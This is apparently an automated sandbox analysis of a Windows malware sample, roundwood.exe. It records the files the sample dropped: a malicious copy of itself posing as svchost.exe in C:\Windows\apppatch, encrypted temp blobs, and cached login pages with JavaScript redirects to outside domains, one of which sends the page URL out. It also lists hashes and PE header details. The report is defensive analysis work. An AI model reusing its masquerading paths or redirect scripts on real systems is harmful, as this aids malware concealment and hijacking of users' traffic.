                                                                                                                                                                                                          Preview:<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\login[3].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):173
                                                                                                                                                                                                          Entropy (8bit):4.43096450882803
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                          MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                          SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                          SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                          SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\login[1].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with very long lines (481), with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):481
                                                                                                                                                                                                          Entropy (8bit):5.806635002584225
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:kxvsCk9cE3MxlVT/XZM63uJbYlMSgxw/JQBkCj3IQNlYI:kbxxlVT/jeYlI5eCj4Q8I
                                                                                                                                                                                                          MD5:B607F55EB2D3337DB1E81167934A52B3
                                                                                                                                                                                                          SHA1:9DFBFD73F4255C6B6A16174F6FE3E854AB3146AB
                                                                                                                                                                                                          SHA-256:186EBE9AAAC8BAA982147B6560EAD3A4CC78C5F7916F8CFD065D04C22B4BF688
                                                                                                                                                                                                          SHA-512:12758E3BDB9A08028C6A87E40A090B848DECC44DF822ED988E546548F5840B52E724A3A8B864B22B2063B32690E4326B31DF663FA7F3F33C33C68AF927FAC237
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://lysyfyj.com/login.php?ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTcyNDQzODYxNSwiaWF0IjoxNzI0NDMxNDE1LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIydm42aWYyZGhkZ2Vja2JhaDAwYWllcWIiLCJuYmYiOjE3MjQ0MzE0MTUsInRzIjoxNzI0NDMxNDE1MDQ5MzMyfQ.q8fyeqWKtqXvR-jaXmTefGHIiCV3QgvJddvdNB6D9oo&sid=a5fae49c-616e-11ef-add0-e1f04491a098');</script></body></html>

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):173
                                                                                                                                                                                                          Entropy (8bit):4.43096450882803
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                          MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                          SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                          SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                          SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\login[1].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):173
                                                                                                                                                                                                          Entropy (8bit):4.43096450882803
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
                                                                                                                                                                                                          MD5:7A5DF79FBAAFF2C161C6E29461785403
                                                                                                                                                                                                          SHA1:89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
                                                                                                                                                                                                          SHA-256:B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
                                                                                                                                                                                                          SHA-512:19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\login[1].php

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):11
                                                                                                                                                                                                          Entropy (8bit):3.0957952550009344
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:0MXAG3n:0MQa
                                                                                                                                                                                                          MD5:32682312D17C7CBF18E73594F5570319
                                                                                                                                                                                                          SHA1:60E22121BDD0BC71CDB2BAE2A3AA577006B2EAE9
                                                                                                                                                                                                          SHA-256:E55FB1A1D731153E943B68844AF12DCCE8BFAC917C98FFDEA64C80DA0607DD47
                                                                                                                                                                                                          SHA-512:68337DEBB9CD659CECE621AF582AE2BC4B56B9CF06B26C45F4D9EB8BEB91D3F36BEAD287218B5AA2BB4853A1CF1A12017CA57318D7E12F489884FDC6B261DFC1
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:Redirecting

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\login[2].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):4.470551863591405
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
                                                                                                                                                                                                          MD5:3B03D93D3487806337B5C6443CE7A62D
                                                                                                                                                                                                          SHA1:93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
                                                                                                                                                                                                          SHA-256:7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
                                                                                                                                                                                                          SHA-512:770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\login[3].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):4.470551863591405
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
                                                                                                                                                                                                          MD5:3B03D93D3487806337B5C6443CE7A62D
                                                                                                                                                                                                          SHA1:93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
                                                                                                                                                                                                          SHA-256:7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
                                                                                                                                                                                                          SHA-512:770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\login[4].htm

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):168
                                                                                                                                                                                                          Entropy (8bit):4.429043075947321
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvy:q43tISl6kXiMIWSU6XlI5LP8IpfGpa
                                                                                                                                                                                                          MD5:D57E3A550060F85D44A175139EA23021
                                                                                                                                                                                                          SHA1:2C5CB3428A322C9709A34D04DD86FE7628F8F0A6
                                                                                                                                                                                                          SHA-256:43EDF068D34276E8ADE4113D4D7207DE19FC98A2AE1C07298E593EDAE2A8774C
                                                                                                                                                                                                          SHA-512:0364FE6A010FCE7A3F4A6344C84468C64B20FD131F3160FC649DB78F1075BA52D8A1C4496E50DBE27C357E01EE52E94CDCDA8F7927CBA28D5F2F45B9DA690063
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\1540.tmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):593
                                                                                                                                                                                                          Entropy (8bit):7.626935561277827
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:12:NXnYWSLEmM3e7/EzZUimtdHCD6B+HAwQ0m7xs01O58/fTU6i0rSZd09LQ:FYWSLdM3CENUJtd85IsWO58NGd09k
                                                                                                                                                                                                          MD5:926512864979BC27CF187F1DE3F57AFF
                                                                                                                                                                                                          SHA1:ACDEB9D6187932613C7FA08EAF28F0CD8116F4B5
                                                                                                                                                                                                          SHA-256:B3E893A653EC06C05EE90F2F6E98CC052A92F6616D7CCA8C416420E178DCC73F
                                                                                                                                                                                                          SHA-512:F6F9FD3CA9305BEC879CFCD38E64111A18E65E30D25C49E9F2CD546CBAB9B2DCD03ECA81952F6B77C0EAAB20192EF7BEF0D8D434F6F371811929E75F8620633B
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:....tp.-$|e.V...(.m.y;.;..>...O`.<.]..&@...0..P....:.(...{i1r....H...i......=$.<.v&1...%e..r..(}b;.U...A.f..K8S.9IM.R.....!.._.....N':.. ..s..!IX..ZK..q..T..v.%.....0...fn.........b...../...\..O8....M...i.ZF.r.C.)~qO..T..{...x..g.......$.t.m;..|.R.33...; ...N.#..rN.A.c.D.w.?0.%D.i..1...5..[.,......ir.Z.`.....+.8..Y.....'>./l..qZ..#1F..F...=./,.&.....e.Q..$.mZZAZ........P...=T.u.H]^n|..h_s.n....r..I..U.T..%N$.B..jj.\..*...Z.';-.....5...#..u.P..k...\..:.'..l8n<C.s.SJ..4....%OE.L2..Ir....U...d.CP....m<.TG?.u..iLj*....H.H...?G..*O..tE..9..%.<+<......_.w..*S....

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\162D.tmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):25019
                                                                                                                                                                                                          Entropy (8bit):7.9819419763589226
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:FARva/n308nlnFMirDjlH/6QiOyNGQMzCgMDEYzmWLtTBsI6WsXI0o3C+0A:F4ak8nl3r9HtbzCl7/s/Ho3CVA
                                                                                                                                                                                                          MD5:79D445942E5CE4064097C7F3D26FB8BD
                                                                                                                                                                                                          SHA1:82EA783DCE1BC1B5E9EF09099DE6207E30913C6F
                                                                                                                                                                                                          SHA-256:F94A8E68DA1D4F509EAAE885555402063E6195D3C806526DF2C6CB10373A2FA5
                                                                                                                                                                                                          SHA-512:A691F67576CDCC60AE7EC17E7FC515301087526687EEE06B7A4BD7AC91E7B026FDEE07B85CCE5636392B5563E0958551708F5F39A0065C83EB86F236EAA32F51
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l.....|.e.8w.!..1.....9.:....".....=..9.......z...}yE.....j...I.....<.&.3.l6g...q...d^.X.K6.g`a..;.F.2Sdo.}8..U.g;...H.L.....A.....y.....v.[..K'..."..r..Z2r.....%g............@.......E.:.C0.4..T...L.....3p,.>th..'..V)..a.oZ.,?.,....W..[.Owd..uu..`r..Y.p..c....p.D.l.n .)..%..l...p.....a......h...e....g.<.......;). ?..zI..kW.......&.. :.>.....tW..j:.".........T...M... X.;.TB.'s.^vC>.:.....=..R..VZ..%.k..].>w..O.;.a.R.!-<.....$...$..f4...G.C..R.w.....dyn:....BD..aZ...v.G.C#...l......w.TW.RO.k<.KA.....'./d.. ....H......am.J*...|..d|..|.9 6...x......0.Ww.....l.h.j.m-...~..+.#..v{.*!r.=..^....{.M..H....<?.v.1.h.b.x......n+V#Jo-.6..D._-...SZ....I...~.o..I...;.u.*....n.+.......+FA..mc....:Im.S..8..>....d.Id......zK..qtqH...;..........Z..V/..e9..r..Qw.....k\......M.f#.Xi.D.M....t....RWf&hV...in.Lk...=....x....l.........m&..A(t.............dGs....`....).A.w}..I6..=p.........r..R......s.!%C.;........z...[.Z.....Z.e..).(...#/.G.c......Z(.c..

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\4184.tmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):24649
                                                                                                                                                                                                          Entropy (8bit):7.979942554649015
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:P0YZ3Jjaxk9sU4B5xLlrzEoqL0jK5pkK4NNDRXY0F/6sstkMA3geAaD47owr:dZ3VGB5h6AkeNtoqpbQeR47owr
                                                                                                                                                                                                          MD5:EB5B63E9D89E2B9AF0C62EB0613A3909
                                                                                                                                                                                                          SHA1:143DA0CB6471D1CCC5E4E2C0F8E29EBA2B0BB893
                                                                                                                                                                                                          SHA-256:A1415B441F0C68861DC167481CD975CAA94729C4EA8694D7D5B9B2361A0A0E59
                                                                                                                                                                                                          SHA-512:0E12DDB498F8FE095A52E19DF83B66BC2E380B1B171AE1B15D1D2DCE7BBA74C5ABD3AC705C331DD32A47DB4682804734F1AA9F37EE63CDF2FC6F11B62F9BB02D
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l.....|.e.8w.!..1.....9.:....".....=..9.......z...}yE.....j...I.....<.&.3.l6g...q...d^.X.K6.g`a..;.F.2Sdo.}8..U.g;...H.L.....A.....y.....v.[..K'..."..r..Z2r.....%g.Z.".....O.m..-..&.u....v.....m...^.c..L.i..pZ..L#..E2..E..r..1.+..}.p.3...iH5.&f..`r..Y.p..c....p.D.l.n .)..%..l...p.....s......h...e....g.5..I.....<#.;/..5Z..*r.@....t..`dU:....G+U..Y..,..\X.R......... T.!.J..*s..,.%.-.....h..U..OT...f.h._..zf..^.".1.D.)"<..]Z.9..`..f4P..C\...@..n.'...li?=...I....{G...j.R.L5.JK=....S..6.BJ_Y_.((.IFb....,.>*..w...........$"..~...5..gk..~.07u.....7O...&.IlU.O..b.@.%.(9....j...d.%.7c.*#{K,.......6.V..Q0.....Ot.r.'.f.p.[.A.<..l@.".).....4.......].J.H.tN'..M.&..n.k.;.S.b.7...........J..f(....b.<....>.....NdIWm....{...(;$H....<.............l..+~..o.Nk.N...O...E..F.'%..s.#...\..{S...DE7*aX...~o.......#...f....c.K..B.M.b;..Jom.........Z..t.Y....l....n.O.pn...&..$&.........<.........0.,.M.3.........SCb..&\.L..Y.C.vD.(./...$u.V.=......U".~..

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\42D4.tmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):2166
                                                                                                                                                                                                          Entropy (8bit):7.90492504650355
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:TMotAhASVTpDE0Gcu8I3Ij2ZuKO7pz2gQ/X/fnFXsP:TMotATVVDwZIjRT7pz2Jv/fM
                                                                                                                                                                                                          MD5:129DE96086396A38BABD6C41B5563B52
                                                                                                                                                                                                          SHA1:574DC2893D3875CF875ACC9C1984B652FB91FA12
                                                                                                                                                                                                          SHA-256:DE09C84BD7952AE9CBEC559EC616629E577B2502CA275F6B451C35BF92BF9E30
                                                                                                                                                                                                          SHA-512:0AA0C9C6D994DBB31285F2F22CA75A785CA6DACBCE2E9DED5368E4E7E7D6466CB82FCC612D5F052E7E76974E1490B5B24FF3CEF18111C6E16B1A02D48D30A545
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:.....D.e#i*.....}.f.:s.;..<X....1.=.]..-.....4...>...y.L...[TX,....U...~.....Kg .-.xRt..V!..]..O.R..Fna....H..6z3..H'..f.T....?Y.=..n..W,;.+..a...]-P..\..k..T..16.....mq...$.......=.D..4....y.8.....,..|...8.\..%S]..(j..}0..UJ..'.~Y.......u.U..w...T".Ru.......O...$c^N..P.b.J.!..{e.cz.=...#..K..'..W.Iv..............^......{.l...&...xM.I.[...8..8"//....NBt'.Zo..+C.-.A.......H...=`..HM^3hw.I=B?.k.....L..?.uq7..P.J.P~.....i........>(J..^.......n>C...C...u...*....hu-..Y_...uM...f.M.[|.%j+...6..~.R$ggo.J.;.fa.......'.=..z..>.0......b/..z...w .mw..x.o5/..p..e..*.Ns..>....A...J...r.._V..n}.8>qW....r..+.h..K(P...{A.(._.|.r.t.%.. v$P:..*..b.1.....B.K.....)..X.i.....{....m8R.+..F.....r[..`*.....Ov.]..!..:....yKfg....AB..*;g.....q..........Z..V?..6...0..MD.ht.jA\..A..E.f<.Rp.!......:K....H3&aC.W.|v....\..i...g..._7..F............Ex...........|Mz...@..../...\-..Z{.. y.........r.........n.z.R.3.......XX7..rI.A....T.o..$./..."e...7.......n.w..

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\4314.tmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):105040
                                                                                                                                                                                                          Entropy (8bit):7.98729667361643
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:AD33bcLXR893yscgbO4BBR7XU9QvHaOBZUEUvl0I7+VF7p3BweU6TVnqqzvwes0h:Vhs3yDh4RkyvHaO3SvsTB7Bns6OU
                                                                                                                                                                                                          MD5:36A031CD25368C1BCDBFE6A35887B006
                                                                                                                                                                                                          SHA1:DAE9FB71865402943B28841E7F1E5CDC8CA86863
                                                                                                                                                                                                          SHA-256:42319D3BBF758A8E024301C2F067C44AF10450B97C5D2741AC1DAA43461663D6
                                                                                                                                                                                                          SHA-512:2ED9EF2985A3711BFE94FAB4DA5188106B28E7F482033D5E5D248F16B34DDEF3E1592CBC3113418C2AF48E35D0CE209987DB9FF1D0BAFBA53548A520E4E68488
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:...[..A.9l....A.D.[;.b..DD...}..n.o.zL......._O....r.:...%m8s...o..e....;+.q.o`3...%"..P.(}h1.H.;....%...$).|...Y.V...:..B..X..Tsa...-.P+..?........8...R..w.q.....qV.O.+.......d.....7.Z.N..V-........i.Y..s.G./pe^......M..7..+..NI.\..l.1.d...`U..zc...7 ....!.7d.Z....Q.y.)u.o..'].v...;.....m......ah...?.......1W.Q....+<..<..|^..fT.G....t..91.*.....~V..Oq.).. ..W...3...C...iE. ^...f&..+.#.'....w.._...I...k.k.L[.:.....f.+.Y.'9wE..5.(...$.&p...V>E...s.'...m;jpJ..R....:J...f.O..c.YJ8....L...4.X.....k#.dEw..... .j}..f..A........*..IU...=..5;.c.wx}@..k..R..i.L%L....e.}.#.l1...{..x.q..9s.f'b\;...X....b.X..A:.....y.w.&.+.{.j....n.JlP&$.7.....0........B.U.r.!@.G.,.:.c.>..IOx.:..^....".v..g;...-.u...."..$....+..k......aT..`op......*.............l..+)..y.Z`.........E...M..'w..%.9...G..7R...R.7:uG...|d....X..h...e...A".....O.). v....$Q....5.....;..*lU...L.....l.M.M8..4G.SkK.........q..3O...6..]..j.........y..59uC.Y'... :.c.h..b"1q. .....bk.(..

                                                                                                                                                                                                          C:\Windows\apppatch\svchost.exe

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Users\user\Desktop\roundwood.exe
                                                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                          Category:modified
                                                                                                                                                                                                          Size (bytes):223888
                                                                                                                                                                                                          Entropy (8bit):7.808334954025045
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3072:avm4SZsQrNzPrl6rjGMjp39d4u8iqddCxMIJOb2o5DsBPjim6hwM2H6:s1SyAJp6rjn1gOObn4b6h9h
                                                                                                                                                                                                          MD5:B3CAC91D21D93F1989191CE7572B7F7E
                                                                                                                                                                                                          SHA1:F568318F1BFBA4A7F7BE8DD978C1FFB5D39C9FD4
                                                                                                                                                                                                          SHA-256:5400CB5CE67F83E9B20545B1FDB565F6D5AA468E35423CE044F21166A8364A6D
                                                                                                                                                                                                          SHA-512:F483EC13F8F9B1C41EB1501FB017C876101D2F5E9C6CC3E457B3AB37E6CE2C8A180FA706E92D55669C7BB23651DD04D593B621DCC37809D019ECD3AD6B66CD6D
                                                                                                                                                                                                          Malicious:true
                                                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....'@.................8..]...h....<...0........@..................................9.+....................................(r.......................T...............................................................................................sX.....].......]...................@..@.RqVY...@....0......................@..@.i.......6...0...8.................. ..`.lziQh..I....p.......V..............@..@.EXGwv...9...........f..............@....data....]...........v..............@....I.......^...0......................@..@.E..................."..............@..@.rsrc................4..............@..@.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\Windows\apppatch\svchost.exe:Zone.Identifier

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Users\user\Desktop\roundwood.exe
                                                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):26
                                                                                                                                                                                                          Entropy (8bit):3.95006375643621
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                          Malicious:true
                                                                                                                                                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                          Static File Info

                                                                                                                                                                                                          General

                                                                                                                                                                                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                          Entropy (8bit):7.8083390185161425
                                                                                                                                                                                                          TrID:
                                                                                                                                                                                                          • Win32 Executable (generic) a (10002005/4) 99.83%
                                                                                                                                                                                                          • Windows Screen Saver (13104/52) 0.13%
                                                                                                                                                                                                          • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                          • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                          File name:roundwood.exe
                                                                                                                                                                                                          File size:223'888 bytes
                                                                                                                                                                                                          MD5:ce11c26163587185b09cb6720e4f0d76
                                                                                                                                                                                                          SHA1:c95a87fc31ee79b9f141fac18dd95f75d8f31fba
                                                                                                                                                                                                          SHA256:dc1c6d303002b580188a6d25d471d95d5a001186f85db279aca2e2de98527b92
                                                                                                                                                                                                          SHA512:18fb4eb87ede103deb8264bb56813fe4e9dc1dedfffe319ddcf262902906ea94e7a0700ab5c5bcd1a314df381776f4a3a1ba2147bf9a71ae380d25decafabcfa
                                                                                                                                                                                                          SSDEEP:3072:Hvm4SZsQrNzPrl6rjGMjp39d4u8iqddCxMIJOb2o5DsBPjim6hwM2H6:P1SyAJp6rjn1gOObn4b6h9h
                                                                                                                                                                                                          TLSH:9A24027A8633145AC8250DF948DFDA071DBC435E2F2822360D99CB5F2EF37431AB6622
                                                                                                                                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....'@.................8..]...h....<...0........@....................................G...................................

                                                                                                                                                                                                          File Icon

                                                                                                                                                                                                          Icon Hash:a4542527c184c651

                                                                                                                                                                                                          Static PE Info

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Entrypoint:0x443c1b
                                                                                                                                                                                                          Entrypoint Section:.i
                                                                                                                                                                                                          Digitally signed:true
                                                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                                                          Subsystem:windows gui
                                                                                                                                                                                                          Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                                                                                          DLL Characteristics:
                                                                                                                                                                                                          Time Stamp:0x4027B28C [Mon Feb 9 16:17:16 2004 UTC]
                                                                                                                                                                                                          TLS Callbacks:
                                                                                                                                                                                                          CLR (.Net) Version:
                                                                                                                                                                                                          OS Version Major:4
                                                                                                                                                                                                          OS Version Minor:0
                                                                                                                                                                                                          File Version Major:4
                                                                                                                                                                                                          File Version Minor:0
                                                                                                                                                                                                          Subsystem Version Major:4
                                                                                                                                                                                                          Subsystem Version Minor:0
